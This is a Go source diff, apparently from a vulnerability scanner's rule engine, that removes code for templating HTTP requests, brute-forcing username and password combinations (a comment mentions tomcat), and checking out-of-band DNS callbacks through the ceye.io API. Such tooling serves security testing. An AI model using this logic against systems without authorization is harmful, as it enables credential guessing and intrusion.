} else {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
n++
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
varpay = append(varpay, k)
|
||||
} else {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
n++
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range varpay {
|
||||
v := fmt.Sprintf("%s", setMap[key])
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(v, k) {
|
||||
if !IsContain(varset, k) && !IsContain(varpay, k) {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(varset) == 1 {
|
||||
look1:
|
||||
// (var1 tomcat ,keys[0] username)
|
||||
for _, var1 := range p.Sets[varset[0]] {
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
|
||||
break look1
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(varset) == 2 {
|
||||
look2:
|
||||
// (var1 tomcat ,keys[0] username)
|
||||
for _, var1 := range p.Sets[varset[0]] { //username
|
||||
for _, var2 := range p.Sets[varset[1]] { //password
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
setMap[varset[1]] = var2
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
|
||||
break look2
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(varset) == 3 {
|
||||
look3:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
for _, var3 := range p.Sets[keys[2]] {
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
setMap[varset[1]] = var2
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look3
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
//return false, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
}
|
||||
return true, err
|
||||
}
|
||||
|
||||
func cloneRules(tags Rules) Rules {
|
||||
cloneTags := Rules{}
|
||||
cloneTags.Method = tags.Method
|
||||
cloneTags.Path = tags.Path
|
||||
cloneTags.Body = tags.Body
|
||||
cloneTags.Search = tags.Search
|
||||
cloneTags.FollowRedirects = tags.FollowRedirects
|
||||
cloneTags.Expression = tags.Expression
|
||||
cloneTags.Headers = cloneMap(tags.Headers)
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func cloneMap(tags map[string]string) map[string]string {
|
||||
cloneTags := make(map[string]string)
|
||||
for k, v := range tags {
|
||||
cloneTags[k] = v
|
||||
}
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func cloneMap1(tags map[string]interface{}) map[string]interface{} {
|
||||
cloneTags := make(map[string]interface{})
|
||||
for k, v := range tags {
|
||||
cloneTags[k] = v
|
||||
}
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func evalset(env *cel.Env, variableMap map[string]interface{}) {
|
||||
for k := range variableMap {
|
||||
expression := fmt.Sprintf("%v", variableMap[k])
|
||||
if !strings.Contains(k, "payload") {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = fmt.Sprintf("%v", value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for k := range variableMap {
|
||||
expression := fmt.Sprintf("%v", variableMap[k])
|
||||
if strings.Contains(k, "payload") {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,488 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
"github.com/google/cel-go/common/types"
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
||||
return cel.NewEnv(cel.Lib(c))
|
||||
}
|
||||
|
||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
||||
ast, iss := env.Compile(expression)
|
||||
if iss.Err() != nil {
|
||||
//fmt.Printf("compile: ", iss.Err())
|
||||
return nil, iss.Err()
|
||||
}
|
||||
|
||||
prg, err := env.Program(ast)
|
||||
if err != nil {
|
||||
//fmt.Printf("Program creation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out, _, err := prg.Eval(params)
|
||||
if err != nil {
|
||||
//fmt.Printf("Evaluation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func UrlTypeToString(u *UrlType) string {
|
||||
var buf strings.Builder
|
||||
if u.Scheme != "" {
|
||||
buf.WriteString(u.Scheme)
|
||||
buf.WriteByte(':')
|
||||
}
|
||||
if u.Scheme != "" || u.Host != "" {
|
||||
if u.Host != "" || u.Path != "" {
|
||||
buf.WriteString("//")
|
||||
}
|
||||
if h := u.Host; h != "" {
|
||||
buf.WriteString(u.Host)
|
||||
}
|
||||
}
|
||||
path := u.Path
|
||||
if path != "" && path[0] != '/' && u.Host != "" {
|
||||
buf.WriteByte('/')
|
||||
}
|
||||
if buf.Len() == 0 {
|
||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
||||
buf.WriteString("./")
|
||||
}
|
||||
}
|
||||
buf.WriteString(path)
|
||||
|
||||
if u.Query != "" {
|
||||
buf.WriteByte('?')
|
||||
buf.WriteString(u.Query)
|
||||
}
|
||||
if u.Fragment != "" {
|
||||
buf.WriteByte('#')
|
||||
buf.WriteString(u.Fragment)
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
type CustomLib struct {
|
||||
envOptions []cel.EnvOption
|
||||
programOptions []cel.ProgramOption
|
||||
}
|
||||
|
||||
func NewEnvOption() CustomLib {
|
||||
c := CustomLib{}
|
||||
|
||||
c.envOptions = []cel.EnvOption{
|
||||
cel.Container("lib"),
|
||||
cel.Types(
|
||||
&UrlType{},
|
||||
&Request{},
|
||||
&Response{},
|
||||
&Reverse{},
|
||||
),
|
||||
cel.Declarations(
|
||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
||||
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
||||
),
|
||||
cel.Declarations(
|
||||
// functions
|
||||
decls.NewFunction("bcontains",
|
||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("bmatches",
|
||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("md5",
|
||||
decls.NewOverload("md5_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomInt",
|
||||
decls.NewOverload("randomInt_int_int",
|
||||
[]*exprpb.Type{decls.Int, decls.Int},
|
||||
decls.Int)),
|
||||
decls.NewFunction("randomLowercase",
|
||||
decls.NewOverload("randomLowercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomUppercase",
|
||||
decls.NewOverload("randomUppercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("substr",
|
||||
decls.NewOverload("substr_string_int_int",
|
||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("wait",
|
||||
decls.NewInstanceOverload("reverse_wait_int",
|
||||
[]*exprpb.Type{decls.Any, decls.Int},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("icontains",
|
||||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
cel.Functions(
|
||||
&functions.Overload{
|
||||
Operator: "bytes_bcontains_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
return types.Bool(bytes.Contains(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatch_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
||||
}
|
||||
ok, err := regexp.Match(string(v1), v2)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.Bool(ok)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "md5_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
||||
}
|
||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomInt_int_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
from, ok := lhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
||||
}
|
||||
to, ok := rhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomLowercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomUppercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
||||
}
|
||||
return types.String(randomUppercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "substr_string_int_int",
|
||||
Function: func(values ...ref.Val) ref.Val {
|
||||
if len(values) == 3 {
|
||||
str, ok := values[0].(types.String)
|
||||
if !ok {
|
||||
return types.NewErr("invalid string to 'substr'")
|
||||
}
|
||||
start, ok := values[1].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid start to 'substr'")
|
||||
}
|
||||
length, ok := values[2].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
} else {
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
}
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "reverse_wait_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
reverse, ok := lhs.Value().(*Reverse)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
||||
}
|
||||
timeout, ok := rhs.Value().(int64)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
||||
}
|
||||
return types.Bool(reverseCheck(reverse, timeout))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "icontains_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// 声明环境中的变量类型和函数
|
||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
||||
return c.envOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
||||
return c.programOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
|
||||
for k, v := range args {
|
||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
||||
var d *exprpb.Decl
|
||||
if strings.HasPrefix(v, "randomInt") {
|
||||
d = decls.NewIdent(k, decls.Int, nil)
|
||||
} else if strings.HasPrefix(v, "newReverse") {
|
||||
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
|
||||
} else {
|
||||
d = decls.NewIdent(k, decls.String, nil)
|
||||
}
|
||||
c.envOptions = append(c.envOptions, cel.Declarations(d))
|
||||
}
|
||||
}
|
||||
|
||||
func randomLowercase(n int) string {
|
||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func randomUppercase(n int) string {
|
||||
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
if ceyeApi == "" || r.Domain == "" {
|
||||
return false
|
||||
}
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||
fmt.Println(urlStr)
|
||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
const (
|
||||
letterIdxBits = 6 // 6 bits to represent a letter index
|
||||
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
|
||||
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
|
||||
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
)
|
||||
randBytes := make([]byte, n)
|
||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
||||
if remain == 0 {
|
||||
cache, remain = randSource.Int63(), letterIdxMax
|
||||
}
|
||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
||||
randBytes[i] = letterBytes[idx]
|
||||
i--
|
||||
}
|
||||
cache >>= letterIdxBits
|
||||
remain--
|
||||
}
|
||||
return string(randBytes)
|
||||
}
|
||||
@@ -1,176 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
Client *http.Client
|
||||
ClientNoRedirect *http.Client
|
||||
dialTimout = 5 * time.Second
|
||||
keepAlive = 15 * time.Second
|
||||
)
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 0,
|
||||
MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
